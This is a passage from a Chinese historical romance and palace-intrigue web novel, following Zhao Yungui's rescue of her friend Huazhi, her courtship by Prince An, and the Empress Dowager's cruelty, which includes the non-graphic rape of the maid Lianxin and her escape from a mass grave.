看来他这个妹妹还是有些害怕他啊，“若是自己可以解决便去吧。”
“需要帮忙便来找我。”
“好。”赵云归松了一口气，小秋也走过来告诉她马已经准备好了，高梨也是点头示意她让她快去。
“谢谢阿兄。”
黄昏时分，太阳西沉，昙华寺就在眼前了，心中也感受到一股无形的压力，让人有些喘不过气，等她将马拴好周围依旧安静。
安静的让人害怕。
“花芷？”
“你在吗？”
赵云归警惕的看着破庙周围，手搭在腰间，放轻了脚步。
一脚踏上台阶，破门后面的人也按捺不住了。
听到动静后已经踩上台阶的脚快速收回，将腰间软件拔出，破门支撑不住向她倒去，赵云归抬手捂住鼻子看清了破庙里面的几个黑衣人。
黑衣人之剑刺来，她闪身躲过，衣衫随着她的步法随之飘动，最前面的人功夫较浅露出破绽之时赵云归一剑刺穿了他的脖子。
软剑拔出男子倒地。
见状剩下几人一拥而上，赵云归终是不敌，衣裳被划破，留下了一道道被鲜血染红的口子。
“是谁派你们来的？”
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地上已经躺了三四个黑衣人了，赵云归被踹了一下捂着腹部往后退去，一个没注意脚后跟撞到身后的台阶赵云归跌坐在地，软剑也跟着摔了出去。
眼见着黑衣人朝他走来了，提高声音喊道，“还不打算出来吗？”
黑衣人没有理会赵云归的呼喊，手中的剑将她脸上的面纱挑开后贴近她的脖颈，危机之时一阵破空声传来，一支箭羽穿过男子胸膛，温热的血液溅到赵云归的脸上。
后面几个黑衣人慌乱看向后面，“谁？”
中箭的黑衣人朝她倒来，赵云归朝旁边扑去，脖子被锋利的剑刃划破。
将腿从那人身下抽出，整个人都是恍惚的。
若不是她反应快，没被黑衣人杀死便先被那穿过他胸膛的箭给弄死了，想到这儿只觉浑身汗毛耸立，踉跄着起身看到的便是那些黑衣人全部躺地的场景。
“二小姐！”
一个健硕的男子走上前，对她行礼，表情淡淡的，声音也是淡淡的。
赵云归早就察觉到有人跟着她，只是一路上他都没动手还帮她解决了不少的人，一看就是来保护她的，“是阿兄让你来的？”
“是！少将军让我暗中保护二小姐。”
这……暗中…保护…吗？
赵云归咽了咽口水，抬手指着旁边的人，“你就是这么保护的？”
“本来准备出来的，可没想到二小姐还学过剑术。”
“看的有些入迷了。”
“还以为二小姐能解决呢。”
还没从他的话中反应过来陆奇便捡起了一旁被遗忘的剑，递到她面前，“剑是好剑，就是功夫不到家！”
“啊？”
看着被硬塞回到手里的剑，再抬头看他之时已经不见人影了，“人呢？”
“呵。”人是好人，可惜长了张嘴。
蹲下身将剑刃上的血擦在躺在地上的人身上，收好剑转身走进破庙中。
“花芷？”
找了一圈在破碎的石像后面看到了被五花大绑昏迷不醒的花芷，赵云归取出塞在她口中的棉布拽出后将绳子解开。
“花芷。”轻轻晃了，看上去依旧没有任何醒来的迹象，难道是，“来晚了？”
有些慌张的扯过她的手把脉。
“还好还好。”
确定了她的身体没什么事后赵云归单膝跪地将她打横抱起，往外走去。
解开缰绳，那马像是有灵性一般前蹄微弯使得赵云归十分轻松的将怀中人放在马背上，握着缰绳跨上马将人环抱在怀中，害怕摔下去并不敢太快。
“驾！”
可此时的天已经黑了，赵云归不得不加快了速度，汗水顺着脸颊滑落，原本已经关闭的城门外远远看去竟看到了点点火光。
“吁！”
“小公子？”
“你怎么在这儿？”
赵云归一手扶着仍旧昏迷的花芷翻身下马，慕珂想要过来帮忙但想着男女授受不亲便拒绝了，可她此时的体力也耗尽了胳膊都止不住颤抖。
“跟我来吧！”
快步走到马车旁边，箫祁政掀开车帘火光让她脸上的疤全部暴露在他们面前，感觉有些难堪，下意识的别过头不想让看们看见。
“你…”慕珂止住话头将脸上的面具摘下朝赵云归递了递便放在旁边伸出了手，“我把她抱上去吧。”
这声音。
原来他不是小哑巴啊！
12. 故人归
赵云归点了点头，让慕珂接过怀里的人便戴上面具上了车，等赵云归将花芷揽在怀里马车才动起来。
“王爷这是在监视我吗？”
“不。”箫祁政想都没想就否认了，“我只是想帮你，仅此而已。”
是吗？
可不敢相信他做这些的原因会如此纯粹啊。
所以赵云归没有立即接话，而是静静的看着他，想要将他看透，想知道他究竟在谋划些什么，可惜眼前的人压根儿看不透，反而感觉自己的心思都被琢磨透了。
箫祁政像是没看出她的心思一般，取出一个荷包递了过去，“送你。”
看着他手中的荷包，赵云归微微眯起了眼睛，不解的接过他手中的荷包打量着，上面的图案是，“海棠花？”
赵云归看到香囊的瞬间，想到的便是他抱着竹篮子心虚的模样，“这是王爷绣的？”
被看出来箫祁政瞬间不好意思了，“是。”
“你……喜欢吗？”
没想到他还会刺绣呢，而且这手法看上去还不是一般的娴熟，应该是学了很久的，所以现在应该说些什么呢！
“你……”赵云归在脑海中飞快的重新组织着语言，“我……谢谢王爷，我很喜欢……很喜欢海棠花。”
“只是……”海棠花吗？
他的话没有说出口，赵云归也别过了头不再去看他，如此看来箫祁政还真的是很喜欢云归呢，不过他们也那么多年未见了，应该不会让他发现些什么吧。
“既然喜欢，为何不戴上？”
“随身带着难免会损坏，我会好好珍藏的。”
“嗯，好。”感受到一丝失落，可等她抬眼看去时又没看出什么不对劲。
空气凝滞半响，两人都没开口说话。
突然，赵云归看了一眼怀中的花芷，有一个问题她很早之前就想问了，既然云影剑到了箫祁政的手中，那么“她……谷姐姐在王爷那儿吗？”
“你居然还觉得她活着吗？”
赵云归藏在面具后的脸都快皱成一团了，难道是她想错了？
难道真的只有她侥幸活下来了？
最后一丝希望被掐灭，她的心瞬间沉入谷底，头轻轻的与花芷相靠脑袋一片空白，“那便当她死了吧。”
虽早知答案是这样，一时还是感觉心头苦涩。
“神医谷一百零三具尸体没有一具是她，我也希望她还活着，也许找到她……我便…也能与常人无异了吧。”说完箫祁政偏过了头，让赵云归看不到他的表情。
但是他好像是真的难过。
也许是她的视线过于炽热，过了一会儿箫祁政又看向了她，“我不知道他们名字，便只能立无字碑。”
“谢谢。”
话语间，马车便已经到了地方，停下了。
“我说过的。”
“你我之间，不必言谢。”
花芷已经被慕珂抱下了车，箫祁政小声嘀咕的话清楚传进她的耳中，赵云归掀帘子的手一顿，也只是一瞬，她并没有回头直接走下了马车。
赵云归将面具放回原处接过花芷。
“多谢。”
等马车走远后花芷挣开眼拍了拍赵云归，“终于走了。”
“快放我下来吧！”
从始至终花芷的眼神就没离开过赵云归的脸，眼神里是毫不避讳的疑惑，声音里也满是不解，“绾绾？你怎么变成这般模样了？”
“什么绾绾？”
“你认错人了。”赵云归径直离开没有分给她一丝眼神。
“等等我呀！”
见人离开花芷加快步跟了上去，轻轻撞了一下她的肩膀，“你说什么呢，别人认不出来我还认不出来吗？”
撇了她一眼，无奈摇头，“行了。”
“明日我便让人送你离开。”
花芷听到这话便急了，捉住赵云归的手腕两人停下脚步对视着，“你要送我去哪儿啊？”
去哪儿都行，反正，“越远越好。”
说着赵云归将手抽出，转过身吩咐人将她带下去收拾一下，跟着小秋走时她也是一步三回头，看上去委屈巴巴的，“不能一起洗吗？”
“以前都是一起的。”
对啊，以前都是一起的，可赵云归想到身上满身的疤便不想回答了，就静静的看着她。
一切尽在不言中。
“那好吧。”
花芷被带下去后赵云归也去洗漱了，从浴池走出来换了一身轻便的衣裳便回房去了，推开门便看到花芷已经坐换好衣裳坐在她的床上了。
“绾绾！”
两人对视时花芷微微一笑，一瞬间她好像回到了多年前，花芷本身便长的清秀，脸上的泥土洗掉后反差也是极大的。
“你怎么在这儿？”
“出去。”
“不要嘛，你都要送我走了还不允许我今晚和你待在一起嘛！”说着花芷起身跑到赵云归身旁关上了门后拽着她的手，拉着她走了进去。
“绾绾~”
赵云归实在是拿她没办法，无奈道，“那说好了，明日必须离开。”
“我才不要。”花芷不悦的撇了撇嘴。
盯着赵云归的脸，眼睛一眨一眨的，一个劲儿的摇头，表示着她的强烈不满。
“算了随你。”
赵云归也管不住她便不与她争论了。
“我就知道，绾绾最好了。”
见她坐到床上花芷连忙跟了过去，贴着赵云归坐下，从腰间取出一个小瓷罐打开，将里面的乳白色膏体挖出抹在赵云归脸上的刀疤上。
“不上药该留疤了。”说着冰凉的药膏被她涂抹开来，眼里满是认真的神色。
“绾绾最爱美了，可千万不能留疤！”
药膏的香气瞬间闯入赵云归的鼻腔，这味道她是再熟悉不过了。
“花芷？”
这个念头一产生，她的不禁皱起眉头，花芷的指尖再次碰到她的脸时伸手抓住了她，“所以，你还是回去了？”
“哈哈！”被猜中，花芷有些心虚不敢看她，“还是绾绾最懂我哈。”
为什么不早一点，再早一点呢。
“花芷，你太冲动了！”赵云归蹙了蹙眉，怕抓疼她还是松开了手，语重心长的说道，“如果连你也出事了神医谷就真的不存在了。”
“绾绾！”
花芷想要反驳，可是她每次都这样说。
明明所有人都认为她才是最有天赋的，明明她才是神医谷的未来，为什么还要以这种方式推开自己呢？花芷有些委屈的弱弱的道，“你又在敷衍我了。”
花芷低着头，指甲用力的掐指指尖，尽可能的压制住心底的苦涩，“绾绾，难道……”
“连你…也不要我了吗？”
见赵云归犹豫了，花芷轻轻扯了扯她的衣袖哀求道，“不要…不要再赶我走了，好不好。”<
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p>哽咽的说着，她伸手环抱住了赵云归，将下巴轻轻搭在她的肩膀上，在她耳边轻轻的说道，“我已经没有父母了，不能再没有你了。”
“绾绾—！”
这么多年了，她也不想再跟花芷分开了，“那说好，千万不要暴露你的身份。”
“嗯，好。”
花芷点了点头将头埋在赵云归的颈窝里，“我就知道绾绾对我最好了。”
赵云归感受到肩膀处的一股湿热，一动也不敢动，花芷的身体也在微微颤抖着，她心软的伸手轻轻揉了揉花芷的头，“不会赶你走的。”
“嗯—”
松开她抬起头，将脸上的泪水擦拭干净恢复了笑容，声音却带上了些沙哑，“绾绾，我给你涂药吧。”
赵云归本来想自己来的，可看到她的眼神又鬼使神差的点了点头。
“好。”
脱掉鞋跪坐在床头，淡黄色的衣衫从床沿垂落到地上，她纤细白皙的手指缓缓挑开腰带，衣衫顺着她白皙光滑的肩头滑落，停到腰间，微微偏头将长发撩起全部放在一边。
花芷此时也将房间的蜡烛熄灭。
只留下床边一盏烛火摇曳。
坐在赵云归背后，撩开她轻薄的衣衫，她腰上只有长剑穿过腹部留下的伤痕，也不知是药膏太凉还是指尖太凉，引得她身体轻颤，好在很快就涂完了，“不疼的，别害怕。”
“好了。”
说着花芷拿着小瓷罐爬到里面，赵云归也转身面对她坐下了。
腹部涂好后，花芷轻轻握住她的脚踝将她的腿放在自己的腿上，冰冰凉凉的药膏抚上她有些泛红的肌肤，赵云归双手搭在胸口紧握着衣衫，静静看着。
沾着药膏的指尖抚上大腿时赵云归依旧不太适应，倒吸一口气，轻颤了一下，可冰凉的指尖还在她的大腿轻轻摩挲，有些不太自在的咽了咽口水，“好了吗？”
“嗯！”
花芷乖巧的点了点头朝赵云归挪近了些，“脸。”
“哦。”
赵云归微微前倾也离花芷更近了些。
脸上的药膏涂好后花芷起身将最后一根蜡烛熄灭，两人齐齐躺下了。
“绾绾，我们以后再也不要分开了，好吗？”
“好。”
感受到身边人平稳的呼吸后赵云归轻手轻脚的起身点燃蜡烛走到书案边放下，坐在窗边看着那桃树感受着这缱绻微风。
多年未见，花芷，“我……”还能相信吗？
赵云归只觉得现在脑子乱的很，丝毫没有一丝的睡意，微风拂过，带着点点湿气，慢慢的外头便落起了淅淅沥沥的小雨。
跪坐在窗户前，一手微弓头轻轻搭在手臂上，另一手伸出窗外感受着雨水那点点寒意，而今夜注定是一个不眠夜。
可，“千万……”千万不要骗我啊！
慈宁宫内，肖暮云刚从浴池中走出，只穿着一身白色薄衫，乌黑的长发披散着，发尾微湿。
莲心跪坐在床榻便，见肖暮云走来便将浸泡在桑叶水中的手帕捞出，拧干。
肖暮云走近便侧卧在床榻上单手撑着头。
闭上眼后莲心将还冒着热气的手帕搭在她的脸上，又重复了一遍后便端着水盆走出去了。
眼上的温度还没有完全褪下，她便已经决定昏昏欲睡了，可那逐渐逼近的脚步声却唤回了她的思绪，这个时间会到她这人来了也没有几人。
“玄安，是你吗？”
13. 酒后失言
“咳。”感受到空气中的一丝酒气，肖暮云的声音冷了下来，“怎么这么重的酒味？”
这是得喝了多少啊？
脚步声床边停下，他却依旧没有得到回应，加上空气中弥漫的酒气，顿时感觉心中有些烦躁了。
“玄安？”
“怎么，你的心里就只有他吗？”他低沉的嗓音里满是醋意。
肖暮云正准备将脸上的帕子拿下手腕便被微热的手轻轻握住了，紧接着传来了质问的话，“你让他碰你了？”
带着酒味的气息扑面而来，肖暮云微微皱眉。
他怎么来了？
“哼！”拿下帕子看着这张熟悉的面庞只觉好笑，他可以出现在任何地方，唯独不能是这里！
“皇帝夜闯哀家寝殿怕是不合规矩吧！”肖暮云将手中的帕子扔到地上，也不急任由他抓着，量他也不做出什么出格的事儿来。
坐起身，看着他，看他能做些什么。
“回答我。”箫元义的声音低沉，仿佛受了多大的气似的。
“哼！”
肖暮云没好气的将手抽出，眼中满是不屑，“皇帝这话说的可真有意思啊。”
他以什么立场，又有什么资格说这些话。
“难道谁碰了我都要派人去给你通报一声才行吗？”肖暮云的语气里满是挑衅，可箫元义的注意力却只在她那一张一合的红唇上。
“皇……”
“啪！”
眼见情况不对肖暮云抬手便给了面前的人一巴掌，感受到脸颊的刺痛箫元义也愣住了。
肖暮云自然知道他这想要做些什么，这一下也是卯足了劲儿的，那手都被震得有些发麻了，“怎么样，清醒了吗？”
箫元义像是还没有反应过来一般，怔怔的看着肖暮云踉跄着往后退了一步，纤长的手指轻抚着有些泛红的脸颊，正准备开口说些什么却被眼前人抢了先。
“来人！”
肖暮云活动着手腕看着来人，恨不得把她们生吞活剥了，“陛下醉了，送陛下回宫去。”
侍女们也不知箫元义是如何进来的，可看到肖暮云这模样便知其中的利害，心里都慌乱的很。
“是。”
“滚远点！”箫元义抬脚将离得最近的宫女一角踹翻在地便转身离开了。
眼见着都消失在殿内，站在一旁的莲心迎上她这满是怒气的眼神没有一丝犹豫的跪在了她身前，“太后息怒，是奴婢疏忽了。”
“啪！”
话语刚落便是重重的一巴掌朝她挥去，“眼睛若是长着无用便自己剜掉。”
“太后息怒，别伤了身子。”
“行了。”肖暮云的气也顺下去了，不过，连个门都看不住，“那几人也不必留着了。”
“是。”
“听明白了便滚吧。”
莲心起身的瞬间玄安便端着药碗走了进了，看到莲心脸上的红印愣了一瞬，走到床榻便做下，“她们不懂事千万不要气坏了自己的身子。”
“多嘴。”
玄安一勺一勺的给她喂着药，等瓷碗空了便跪在床榻上给她轻按着太阳穴。
“舒服吗？”
“嗯……”
随着一轮红日挂在天边，房间里的阴影褪去，肖暮云缓缓挣开了眼，扶着隐隐作痛的腰坐起身，原本盖在身上的被子滑下，她脖颈上密密麻麻的红痕也暴露出来。
“玄安。”
过了一会儿玄安走进，将手中的信递给肖暮云便跪在床榻边，弯着腰为她穿着鞋袜。
这时莲心也走了进来，端着药碗走了进来，低着头跪在旁边，她的眼神充满了恐惧，可手依旧很稳，碗里的汤药却一点晃动都没有。
“愣着干嘛？”
肖暮云轻轻踢了一下玄安小腹，他便立即起身接过碗坐到她的旁边，揽上她的肩，肖暮云顺势靠在玄安的身上，喝着他喂来的药。
“这药对身体很不好的。”
“多嘴。”
喝完后玄安将空碗放在肖暮云伸出的手上。
“砰！”空碗脱手重重的砸在莲心的头上，莲心强装镇定的捡起地上的碗和已经碎掉的勺子一起放好，等待肖暮云接下来的指示。
“来人！”
“太后！”外面走进两个小丫鬟跪在旁边。
“你说说你啊。”说着肖暮云将手中的信纸砸到莲心脸上，虽然很轻对于莲心来说却是致命的一击，“怎么给了机会还是这么不中用呢。”
“唉。”
“你们啊，就……”
“把她送到肖太尉那儿，后面还能不能活下来就看你有多大的本事了。”说着肖暮云捂嘴打了个哈欠，趴在玄安的腿上便闭上了眼。
“下去吧。”
玄安轻轻的给她按着腰，莲心见她睡下了，眼泪都流下来了硬是没有大吵大闹，十分顺从的跟着他们出去了。
阵阵微风轻拂，引得树叶沙沙作响，宅院内的鸟叫声也在吵个不停，吵醒了那睡梦中的可人儿。
“绾绾！”
“嗯？”赵云归睁开眼，将搭在窗上的手收回时已经疼的动不了了。
花芷见状，走近弯腰轻轻的给她揉着，不敢相信的道，“你昨晚就在这儿睡的？”
“我都这么胖了嘛？”
赵云归被她的表情逗的没忍住笑出来声，“难得见你怀疑自己胖了！”
“哼！”
花芷气的嘟着嘴，手上的力道却还是控制的刚刚好，像是生怕把她弄疼了一样。
看着她那仿佛没有变化的脸，若不是脑海中的记忆，真要怀疑还是在神医谷了，“你这些年……都…去哪儿了啊？”
自从那件事后花芷就再也没回过神医谷了，赵云归想要告诉花芷谷主其实很想她的。
可是，现在说这些好像一切都太晚了。
一切都到了无法挽回的地步了，而且最开始离开时花芷她真的很迷茫，她以前从来都没有出过青鸾山，没有母亲的管束后不知道该何去何从，好像一切都没有意义了。
她甚至想过结束这一切。
可现在，花芷看上去还是那股没心没肺的劲儿，“我去了很多地方啊。”
看过不一样的风景，见过不一样的山海。
外面的一切都好像是自由的，不用在乎别人的看法，也不用活在别人的阴影之下。
“绾绾，过去的就让它过去吧。”
两人相看无言，眼神中的万般思绪好像已经交流过来千万次。
“咚咚咚——”
“咚咚咚——”
无比清晰的敲门声入耳，两人默契的不再重提那个话题，一起起身朝着门口走去，打开门便见小秋恭恭敬敬的站在门口。
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>“老夫人让奴婢带二小姐去前厅。”
“好。”
她今日没办法陪着花芷用膳便想着让小秋去弄些送过来，“你去准备些糕点和糖粥送来。”
“不用了。”
等她们做好得好很晚了，还是想到外面去吃东西，而且，“我一个人在这里太无聊。”
“太闷了。”
“行，那你小心些。”又嘱咐了几句便跟着小秋离开了。
等她到时赵离几日已经坐在餐桌前等着了，赵云归顿感不妙，加快脚步走进去双手交叠，手掌向上举至胸前，微微下蹲，“祖母。”
“阿兄，阿姊。”
“这用个早膳还要人三催四请的，这要是嫁了人还不得让人家退还回来？”
赵离的话难听是难听了些，可赵云归也只能受着，不能驳了她的面子，“祖母教训的事，云归下次一定注意。”
“还想有下次？”也不知她今日这是怎么了，非得找她点不痛快才肯罢休。
“云归不敢。”她依旧低着头，生怕赵离再挑出什么错来，“是云归说错了话惹祖母烦心了。”
“还请祖母恕罪，”
“你……”赵离也是没想到她会直接跪下，旁边两人也开口帮她说话，想着又是这一大早的也不好再说什么，便顺着赵心缇的话下来了，“罢了罢了。”
“大丫头也饿了，你快些过来坐下吧。”
“是。”
起身走到赵心缇身边坐下，她露出温和的笑容伸手帮她揉了揉膝盖。
赵云归摇了摇头冲她做着嘴型，“没事。”
虽然赵心缇只是赵家的养女，但毕竟是从小就养在身边的，赵离还是很喜欢她的，一个劲儿的夸她懂事，顺带还会损赵云归两句。
赵云归边吃着东西还得边附和着。
只是，“为何没见母亲？”
她都回来了这么多天了也没见到过云归的母亲——柳眉昭，本来只是无心一问，却感觉落在身上的眼神变的不友好了。
抬眼便对视赵离有些怒意的眼神，“食不言不知道？”
“我看怎些天的规矩都白教了。”
说来说去，赵离又将赵云归禁足了，让她将规矩学会了再想着出去，不然也是到处丢人现眼。
“祖母说的是，云归记住了。”
这一早上赵云归也没吃什么，临走之前又被赵离训话，要不是赵心缇还不知什么时候才能脱身。
终于回到自己的院子里，高梨又恭候多时了，赵云归调整好自己的表情才走近，“阿兄也是来教训我的？”
“祖母她…”有些事高梨也不知道该以什么样的方式告诉赵云归，又或许不应该由他来说这些，总之，“以后别再提母亲了。”
为什么？
面对赵云归的疑问高梨只是告诉她宫中宴会前柳眉昭会回来的，其它的一概不答，毕竟这些都不该由他这个外人来说。
“那……”
正想着该如何套出事情真相，花芷头上带着一个蝴蝶兰花环，一手捧着睡莲一手提着东西从外面走了进来，声音清脆悦耳带着些欢愉，“绾绾！”
这一声也吸引了高梨的目光。
转过身，就见花芷抱着从前带来的东西快步走近，她的嘴角始终含笑，微风吹动着她的发丝，也吹乱了他的心。
真的是他！
14.命运的齿轮开始转动
花芷快步走到赵云归身边，高梨的目光便一直追随，有些晃了神只觉她一颦一笑动人心魂，视线落在她那一张一合的殷红的嘴唇上却是一个字也没听进去。
“公子！”
“公子！”
花芷将手上提着的东西递给赵云归，空出来的手在高梨眼前晃了晃，高梨吓得往后退一步，红晕爬上耳尖，“那个，姑娘……”
“我与云归是旧识，公子也叫我花芷便可。”
花芷说话时的一颦一笑都在高梨的眼中无限放慢，所有的视线都被吸引了去。
“公子…不介意我多住些时日吧？”
“不介意！”高梨有些不太敢看花芷的眼睛，聊了两句耳朵便已经红透了。
“那……”花芷将手中的睡莲塞到高梨怀里，她的嘴角如月牙般微微弯起，杏眼弯弯让人移不开眼，“这个送给公子吧！”
两只手都腾干净了后她挽住了赵云归的胳膊，拉着她便往房间走。
走了几步回头一看高梨仍站在原地。
原来……叫，“花芷吗？”
花芷抿着嘴浅浅一笑，这一笑倒带上了些娇羞了，两人都进房关上了门，高梨还抱着花愣神呢。
“绾绾，我……好像见过他！”
见过？据他所知高梨这些年都在边疆，很少回京城的，“何时？莫不是认错了？”
花芷十分坚定的摇了摇，表示绝对没有记错。
她也并不是在京城与高梨见过，那一年她也是误打误撞遇到了身受重伤的高梨，那时他身中数刀肩头还中了箭。
可谓是命悬一线。
但凡她晚一点发现，这人都已经一命呜呼了，只是，看样子，“他可能已经把我忘了呢。”
花芷的眼神染上一丝的失落，但是转瞬即逝，再次开口又激动了起来，“我知道是谁下令烧的青鸾山了！”
“是太后！”
太后吗？
赵云归看向花芷的眼神带着些探究，不是不相信，只是按花芷所说的这事闹的很大，为什么她从未听说过呢？
究竟是谁不想让她知道呢？
她知道这件事若是牵扯到了太后，背后便不可能只有太后，若还是如此明目张胆碾死她们便如同碾死一只蚂蚁一样简单。
所以，“以后别再去打听这些事了。”
“为何？”花芷有些激动连声音都微微发颤，带着一丝不确定，不理解她为什么会说出这话。
“绾绾？”
“你……是不信我吗？”
赵云归连忙摇了摇头，“为了你也是为了我，正如你所说啊，过去的便让她过去吧。”
让它过去吗？
花芷不信她能真的放下，可再多的争吵也是无济于事，沉默的尽头是剩她的一句，永远支持你的决定。
“那个是……”特意，“带给你的，我尝过了很好吃的。”
“趁热吃。”
指了指桌子的袋子她也不好再说什么了，微勾的嘴角带着些苦涩，将头上的花环取下放在旁边便出去了，走着走着也不知道走哪里了，又走了一会儿隔老远就看到高梨蹲着捣鼓那睡莲。
听到脚步声他冷眼看去，见是花芷来了他的嘴角瞬间勾起，话语里是掩饰不住的开心，“你怎么来了？”
“我——”
“那个——”
“我和绾绾吵架了。”说着花芷走到高梨旁边蹲下，伸手帮他摆弄那些花。
高梨也没安慰过人不知道应该说些什么，便讲些有的没的想逗她开心，可花芷听来却是牛头不对马嘴的，倒也算上听的笑出了声。
而此时的莲心早已从昏迷中醒来了，只是…她如今赤裸着身子，手脚还被绳索绑在了床榻的四个角，任她怎么挣扎也无济于事。
门被推开，泪水顺着眼角滑落，
“不！”
“不要啊！”房间里哭喊声不断，直到她再也叫不出声，直到天色暗了下去房间便又剩下她一个人了。
没一会便进来了几个家丁将她抬了出去。
放在板车上，随便找了一块破席子将她盖住，很快走到一个尸堆旁将她搬了下来，“啧啧啧。”
“这个长相……可惜了。”
“可不是嘛，这都已经数不清是这个月的第几个了。”
“行了。”旁边的人拍了一下他，看着这周围总感觉阴森森的，“你要是不上，就快些回去，这里怪瘆人的。”
“催什么催。”
“去去去，滚到旁边给老子守着。”说着他已经迫不及待的解着自己的腰带了。
……
后面连着几日孙妈妈一大早就去赵云归那人，还一呆就是一上午，花芷只好每次都乘着孙妈妈还没来的时候就跑到高梨的院子里待着。
一日，孙妈妈刚来慕珂后脚就进来了。
“安王殿下让我来接二小姐。”
“这……”孙妈妈的眼神在两人身上来回打量着，看上去犹豫不决。
“怎么，不行？”
孙妈妈就算是心中百个千个不愿意也不能表现出来了，那可是安王啊，就算是给他是个胆子也不敢反驳啊，“怎么会呢，这就走。”
说完便灰溜溜的离开了。
剩下的俩人都愣住了，都在等着对方说话，“殿下在外面等着的，二小姐要收拾一下吗？”
“嗯？”赵云归抬手看着今日的衣裳，挺好看的啊，也不需要再换了，“不用了，走吧。”
马车停在外面许久了，就等她了。
路上马车颠簸，掀开帘子看着外面，“王爷这又是要带我去哪儿啊？”
“等到了就知道了。”
赵云归点了点头便静静的坐着不再说话了，无尽的沉默中终于到了地方，还未下去便听到了外头热闹的交谈声。
“玲珑月？”
箫祁政送过她许多首饰了，怎的今日又带她来首饰铺了。
“今日到了不少新的，去看看？”
赵云归虽说不喜欢这些东西，可这来都来了也没有又折返回去的道理啊。
况且，可不能扫了他的兴致，“好啊！”
玲珑月共有两层，一楼是珠钗首饰，二楼是胭脂水粉，进到里面便有人热情的迎了上来，实在是受不了便将他打发走了。
这边人好多，“去那边看看吧。”
“好。”
绕过旁边的屏风走到另一边，虽说她不需要了但她可以给花芷买呀，“这个好看！”
“买。”
这个一看就很适合花芷，“这个…好看吗？”
“买。”
转过身，便被不远处的那一对玉镯吸引去了，箫祁政只是给慕珂使了一个眼色他里面走去将它收了起来。
“王爷真好！”
想着再去另一边看看，就见到了熟悉的身影从上面下来，“阿兄？”
还有，花芷！
“你们——”赵云归正打量着两人，花芷连忙上前挽住了她，“绾绾，真巧啊！”
“安王殿下。”
花芷将她拉到旁边压低了声音，“我看到好多小玩意儿都是你喜欢的。”<
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/p>
“回去了拿给你。”
“好。”
不过，“你们什么时候这么熟了？”都熟到背着她一起出去了！
“哎呀！这……”
花芷有些不好意思的拉了拉赵云归的衣裳，示意她别问了，在她探究的视线中害羞的低下了头。
“好了好了！”赵云归的视线过于直白，看的她没忍住红了脸，不敢回头看高梨他们了，拉着赵云归就走了出去了。
“走啦！”
许是今日的风格外的不懂事，站了许久也不见脸颊上的红晕被吹散。
后面的几人付了钱也跟了出来。
高梨走上前，手背熟练的搭在她的额头，“你不舒服吗？”
“没…没有。”
还想着若是不舒服便带着她先回去，可她自见到赵云归后便像是长在她身上一样，一刻也不愿分开，也拿她没办法。
最后，在花芷的强烈建议下两对人今日被迫选择一同去其它地方逛了，赵云归拉着花芷去挑了几身衣裳便去今朝醉了。
“几位这边请。”
本来一路上都没什么不对劲，可如今几人围着桌子坐下，还都不再开口说话了，倒是显得有几分局促。
上菜时，慕珂跟着走进俯身在箫祁政耳边说着些什么，就见他的脸色变得难看起来，一时间整个包间的气氛更冷了。
等慕珂出去后赵云归才压低声音问，“怎么了？”
箫祁政只是摇了摇，可赵云归总觉得事情没那么简单，过了一会儿她伸手戳了戳他的手背，等他转头看去时便对上了她水灵灵的眼睛。
“与我说说嘛！”
他并未立马开口，可箫祁政原本难看的表情却缓和了一些，眼角微微弯了弯看上去似是在笑，“真没事。”
赵云归看上去有些失落的抿了抿嘴，不死心的又戳了戳他的手臂，他不说赵云归便不停。
箫祁政实在是拿她没办法，只觉温热的手心覆上，手被他握住了。
“轻尘他遇刺了。”
景王？
“绾绾！”来不及多想，花芷的声音传来，吓得她连忙将手挣脱开来，“怎…怎么了？”
花芷没想到她的反应会这般大，有些不解，“菜一会儿该凉了。”
“哦！”
拿起桌上的筷子夹着菜，再看向旁边时就见箫祁政低着头摩挲着手，嘴角带着淡淡的笑，赵云归不自觉的咽了咽口水，尴尬的低着头吃菜。
吃完后又逛了一下，消消食。
趁着高梨和花芷在看别的东西时，赵云归又问了关于箫轻尘的事，箫祁政也只是说没什么大事，她也不好再多问。
午后的阳光有些过于烈了，便准备回去了。
“我送你吧。”
他都提出来了赵云归自然是不好拒绝的，可，高梨还在这呢。
果不其然，还不等她说话高梨先一步替她拒绝了，生怕赵云归被拐走一样，“有我在就不麻烦安王了。”
箫祁政自然不会就因此离开，“云归是本王的未婚妻，这怎么能是麻烦呢！”
……
两人互不让步，决定权又回到了赵云归的身上。
“云归？”
“你说呢？”
“我……”见赵云归被夹在了中间，花芷连忙将头靠在了她的肩上。
“这还用说，当然是跟我一起喽。”
两人就看着赵云归水灵灵的被花芷拉着上了马车，看着箫祁政这般模样高梨没忍住轻笑一声也跟了过去。
“告辞。”
15.你当真担得起这罪名吗
次日，也不知孙妈妈是怎么了，只是一点小错也要揪出来说教个半天，赵云归也是被孙妈妈手上的戒尺折腾的够呛，每日早早的便歇下了。
一个再寻常不过的夜晚，一轮孤月高悬夜空，城外一个乱葬岗四周的树木随着那微风摇曳沙沙作响，一只苍白的手颤抖着从尸堆里探出，一个衣裳破烂不堪精神恍惚的人艰难的爬了出来。
贪婪的呼吸着这新鲜空气。
月光洒在她的身上，让她的皮肤显得更加的苍白可怕，裸露在外的皮肤布满了吻痕，淤青和被抽打的红痕。
“咳。”
爬出后随便从旁边已经臭了的人身上扒了件衣服穿上就恍恍惚惚的远离这里，赤脚踩在锋利的石子上，温热的血液沿路留下她却没有因此绊住脚，仿佛这样才能让她时刻保持清醒。
急促的喘息声在这夜晚显得格外刺耳。
终于在天微亮之时走到景王箫轻尘所在之地，在倒下的最后一瞬她拉住了走近的士兵，将已经摔成两半的玉佩塞在他手上，用尽最后的力气说道，“我……要见……景…王！”
说完最后一句话就彻底失去意识倒下了。
远在京城的肖权根本不知道她侥幸活了下来，只想着如何扳倒箫祁政将他送走，早就把莲心这个人给抛之脑后了。
慈宁宫内。
肖暮云挥手屏退了报信的人，玄安一边给怀里的人扇风，一边喂她吃葡萄，有些不解的开口道，“太后不派人杀她了吗？若是日后……”
“杀她？”
“如何杀她？”
“她早被哥哥杀死了呀！”说着肖暮云推开玄安的手坐起身，将腿搭在他的腿上，抢过扇子自己扇起风来，“难道……不是吗？”
玄安明白其中的意思便没敢再开口，抬手为她按着腿。
突然，肖暮云拿起签子插起一口葡萄递到了到玄安嘴边，等他咬下后用竹签轻轻划过他的脸颊，“她最近是不是过的有些太安逸了啊。”
“还有……”
“你也是。”边说着，手上的竹签从他的脖颈慢慢下滑停在他心口处，微微偏头浅笑道，“知道该怎么做了吗？”
“知道。”
肖暮云将腿挪开，松开手竹签便落到了玄安的腿上，“行了，滚吧！”
“是。”
